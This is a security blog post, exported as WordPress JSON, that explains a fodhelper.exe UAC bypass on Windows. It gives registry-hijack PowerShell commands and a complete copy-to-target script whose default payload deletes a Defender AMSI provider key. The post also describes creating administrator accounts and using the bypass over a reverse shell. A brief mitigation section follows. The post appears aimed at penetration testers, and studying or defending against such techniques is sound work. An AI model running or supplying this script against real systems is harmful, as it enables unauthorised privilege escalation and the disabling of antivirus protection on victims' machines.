{"id":8882,"date":"2021-08-11T02:41:00","date_gmt":"2021-08-11T00:41:00","guid":{"rendered":"https:\/\/tajdini.net\/blog\/?p=8882"},"modified":"2022-06-11T02:58:47","modified_gmt":"2022-06-11T00:58:47","slug":"utilizing-a-common-windows-binary-to-escalate-to-system-privileges","status":"publish","type":"post","link":"https:\/\/tajdini.net\/blog\/governance-risk-and-compliance\/utilizing-a-common-windows-binary-to-escalate-to-system-privileges\/","title":{"rendered":"Utilizing a Common Windows Binary to Escalate to System Privileges"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_h0QGsPrcotEVo1q8N_9RVw-5219261.png\" alt=\"\" class=\"wp-image-8883\" width=\"984\" height=\"237\" srcset=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_h0QGsPrcotEVo1q8N_9RVw-5219261.png 984w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_h0QGsPrcotEVo1q8N_9RVw-5219261-300x72.png 300w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_h0QGsPrcotEVo1q8N_9RVw-5219261-768x185.png 768w\" sizes=\"auto, (max-width: 984px) 100vw, 984px\" \/><figcaption>Windows pwnage courtesy of trusted Windows binaries<\/figcaption><\/figure>\n<\/div>\n\n\n<h1 class=\"wp-block-heading\" id=\"7be3\">Introduction<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"caa8\">If you\u2019ve ever tried to run a command prompt as administrator on your Windows OS before, you\u2019ve seen a harmless popup appear. This is Windows User Account Control, or UAC. According to Microsoft, UAC \u201cis a fundamental component of Microsoft\u2019s overall security vision. UAC helps mitigate the impact of malware.\u201d (<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/user-account-control\/how-user-account-control-works\" rel=\"noreferrer noopener\" target=\"_blank\">How User Account Control Works<\/a>)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"7317\">This article will show you how that isn\u2019t necessarily the case. While perusing random articles last night I found one referring to Fodhelper, which was found to be exploitable in 2017, and then again being used by the Trickbot malware in January 2020. Most intriguing though was discovering that Fodhelper is still exploitable. And not only exploitable, but it also bypasses Windows Defender with the desired command execution. Here\u2019s how.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"370a\">Fodhelper<\/h1>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_NaAVFrFcxdteh2nsV1sUNw-2135510.png\" alt=\"\" class=\"wp-image-8884\" width=\"970\" height=\"633\" srcset=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_NaAVFrFcxdteh2nsV1sUNw-2135510.png 970w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_NaAVFrFcxdteh2nsV1sUNw-2135510-300x196.png 300w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_NaAVFrFcxdteh2nsV1sUNw-2135510-768x501.png 768w\" sizes=\"auto, (max-width: 970px) 100vw, 970px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\" id=\"4024\">Fodhelper is a trusted binary in Windows operating systems, which allows elevation without requiring a UAC prompt with most UAC settings. You can even try this yourself \u2014 go to the Windows search bar, search fodhelper, click run as administrator, and notice that there is no UAC notification. You\u2019re simply presented with the \u201cOptional features\u201d window in Windows. There isn\u2019t a ton of information available for Fodhelper, but the binary checks a specific registry key, and for whatever legitimate reason, executes any instructions included.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"7be0\">For exploitation purposes, we can create a new key in the current user hive, add the DelegateExecute property to the key, followed by a custom value to execute.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><em>New-Item \u201cHKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\u201d -Force<\/em><\/li><li><em>New-ItemProperty -Path \u201cHKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\u201d -Name \u201cDelegateExecute\u201d -Value \u201c\u201d -Force<\/em><\/li><li><em>Set-ItemProperty -Path \u201cHKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\u201d -Name \u201c(default)\u201d -Value $custom -Force<\/em><\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ae93\">(These values can also be entered manually using REG ADD commands manually)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"33a8\">When the registry edits are made, the results should look like the below:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_42t3KThrU5WGVQNp3Zsxjw-4266285.png\" alt=\"\" class=\"wp-image-8885\" width=\"944\" height=\"97\" srcset=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_42t3KThrU5WGVQNp3Zsxjw-4266285.png 944w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_42t3KThrU5WGVQNp3Zsxjw-4266285-300x31.png 300w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_42t3KThrU5WGVQNp3Zsxjw-4266285-768x79.png 768w\" sizes=\"auto, (max-width: 944px) 100vw, 944px\" \/><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_UYAGqRdbTWWl9Gkcpqv65w-7090152.png\" alt=\"\" class=\"wp-image-8886\" width=\"513\" height=\"129\" srcset=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_UYAGqRdbTWWl9Gkcpqv65w-7090152.png 513w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_UYAGqRdbTWWl9Gkcpqv65w-7090152-300x75.png 300w\" sizes=\"auto, (max-width: 513px) 100vw, 513px\" \/><figcaption>Importing helper.ps1 and executing the function<\/figcaption><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_2a9KFDDuS_qrZKoqRI6HJw-2524445-1024x458.png\" alt=\"\" class=\"wp-image-8887\" width=\"1024\" height=\"458\" srcset=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_2a9KFDDuS_qrZKoqRI6HJw-2524445-1024x458.png 1024w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_2a9KFDDuS_qrZKoqRI6HJw-2524445-300x134.png 300w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_2a9KFDDuS_qrZKoqRI6HJw-2524445-768x343.png 768w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_2a9KFDDuS_qrZKoqRI6HJw-2524445.png 1040w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>test123 user added to machine and via PowerShell exploit<\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\" id=\"2a95\">Executing fodhelper.exe will execute the commands stored in Registry and execute the command used.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"0133\">The interesting part of all of this is Windows Defender. Defender doesn\u2019t identify the exploit as malicious while it sits on disk \u2014 only once it\u2019s executed. BUT, that execution isn\u2019t necessarily prevented or blocked. Otherwise trusted functionality, such as adding users and adding them to the administrators group, modifying other registry keys such as enabling remote desktop, disabling the firewall, etc., are still permitted actions. The PowerShell script isn\u2019t even deleted. It still sits on disk after execution, and can be used over and over.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_R78-9oZgXeDLh063kysaLA-3391574.png\" alt=\"\" class=\"wp-image-8888\" width=\"497\" height=\"357\" srcset=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_R78-9oZgXeDLh063kysaLA-3391574.png 497w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_R78-9oZgXeDLh063kysaLA-3391574-300x215.png 300w\" sizes=\"auto, (max-width: 497px) 100vw, 497px\" \/><figcaption>Defender identifying execution, but user creation was still permitted<\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\" id=\"d379\">I\u2019ve shown you how to utilize this directly from a Windows environment, but more dangerously is that it can be executed from a command line via reverse shell.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_YQjjN1OSxKDWlBCCFKtxng-2147440.png\" alt=\"\" class=\"wp-image-8889\" width=\"1018\" height=\"346\" srcset=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_YQjjN1OSxKDWlBCCFKtxng-2147440.png 1018w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_YQjjN1OSxKDWlBCCFKtxng-2147440-300x102.png 300w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_YQjjN1OSxKDWlBCCFKtxng-2147440-768x261.png 768w\" sizes=\"auto, (max-width: 1018px) 100vw, 1018px\" \/><figcaption>Fodhelper bypass via reverse shell on Kali<\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\" id=\"169c\">Note that while the shell crashes due to the Defender catch, a new administrator user is created which can be accessed and abused. Using a tool like Evil-WinRM, which also bypasses Defender, can grant full administrative access via shell to the machine.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_95SQy5piE4PmYfDRy2wSMw-3797751.png\" alt=\"\" class=\"wp-image-8890\" width=\"957\" height=\"620\" srcset=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_95SQy5piE4PmYfDRy2wSMw-3797751.png 957w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_95SQy5piE4PmYfDRy2wSMw-3797751-300x194.png 300w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_95SQy5piE4PmYfDRy2wSMw-3797751-768x498.png 768w\" sizes=\"auto, (max-width: 957px) 100vw, 957px\" \/><figcaption>Logged in via Evil-WinRM as the newly created administrative user<\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\" id=\"576c\">If you use this on a penetration test, it\u2019s vital that you document the modifications made to the Registry and notify the client for cleanup purposes. I would normally advocate for cleaning up left over user accounts, but making deletions to registry values should be done in coordination with the team to ensure that proper backups are made prior to deleting anything.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"2040\">How do we fix this?<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"b5ed\">From a defensive standpoint, the best internal fix to this is to not trust any program, and require anything ran as an administrator to require UAC notifications any time an application tries to install software or make changes to a computer. Additional measures can be instituted, such as requiring administrator credentials to do so.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_gpVMbNBhzz5k92ayEy_dZA-9838483.png\" alt=\"\" class=\"wp-image-8891\" width=\"649\" height=\"439\" srcset=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_gpVMbNBhzz5k92ayEy_dZA-9838483.png 649w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_gpVMbNBhzz5k92ayEy_dZA-9838483-300x203.png 300w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2022\/06\/1_gpVMbNBhzz5k92ayEy_dZA-9838483-110x75.png 110w\" sizes=\"auto, (max-width: 649px) 100vw, 649px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\" id=\"ff82\">We can also take full advantage of optional Windows features such as requiring credentials when UAC is prompted. Enabling this command, while adding an additional layer of user input, is also another layer of depth in our defense.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"f735\"><em>\u201cSet-ItemProperty -Path \u201cHKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\u201d -Name \u201cConsentPromptBehaviorAdmin\u201d -Value 1&#8243;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ce75\">Detection solutions, which are vital to any hardened IT infrastructure, can be used with pre-built or custom rules to identify when bypass events occur with known binaries and software. As I don\u2019t partner with any endpoint solutions, I won\u2019t recommend any, however I do recommend that you contact your vendor to discuss those options.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"42f2\">Finally, Microsoft really needs to take security more serious. Fodhelper has been vulnerable for nearly four years now, and it\u2019s readily apparent that despite whatever changes were made, they weren\u2019t enough. Microsoft considers UAC to be a defense in depth solution (<a rel=\"noreferrer noopener\" href=\"https:\/\/www.microsoft.com\/en-us\/msrc\/windows-security-servicing-criteria\" target=\"_blank\">https:\/\/www.microsoft.com\/en-us\/msrc\/windows-security-servicing-criteria<\/a>), and UAC bypass does not fall under their \u201cintent to service\u201d criteria. Meaning that it won\u2019t be serviced by default if exploitation is found, but may be addressed later in a patch or fix.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>function helper(){ \n #This PowerShell script runs from disk - copy it to the target Windows machine.\n #Load the script into PowerShell and run \"helper\" (no quotes) in the terminal.  This will generate a UAC bypass execution that creates\n #a new administrative user account on the machine.  The $custom variable below can be modified to meet your needs. \n #You can also generate a custom command with -custom \"cmd.exe \/c &lt;command here>\".  Mind the quotations in their positions as they are\n #required\n\nParam (    \n \n &#91;String]$custom = \"cmd.exe \/c powershell New-Item 'HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse\" #default\n \n      )\n \n#Registry Command Edit\n \nNew-Item \"HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" -Force\nNew-ItemProperty -Path \"HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty -Path \"HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" -Name \"(default)\" -Value $custom -Force\n \n#Bypass Execution\nStart-Process \"C:\\Windows\\System32\\fodhelper.exe\"\n}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Introduction If you\u2019ve ever tried to run a command prompt as administrator on your Windows OS before, you\u2019ve seen a harmless popup appear. This is Windows [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":8892,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[225,226,228,230],"tags":[125,250,257,204,230,198],"class_list":["post-8882","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-governance-risk-and-compliance","category-identity-and-active-directory","category-malware-and-threat-analysis","category-penetration-testing","tag-active-directory","tag-grc","tag-malware","tag-nist","tag-penetration-testing","tag-privilege-escalation"],"_links":{"self":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8882","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/comments?post=8882"}],"version-history":[{"count":4,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8882\/revisions"}],"predecessor-version":[{"id":8899,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8882\/revisions\/8899"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media\/8892"}],"wp:attachment":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media?parent=8882"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/categories?post=8882"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/tags?post=8882"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}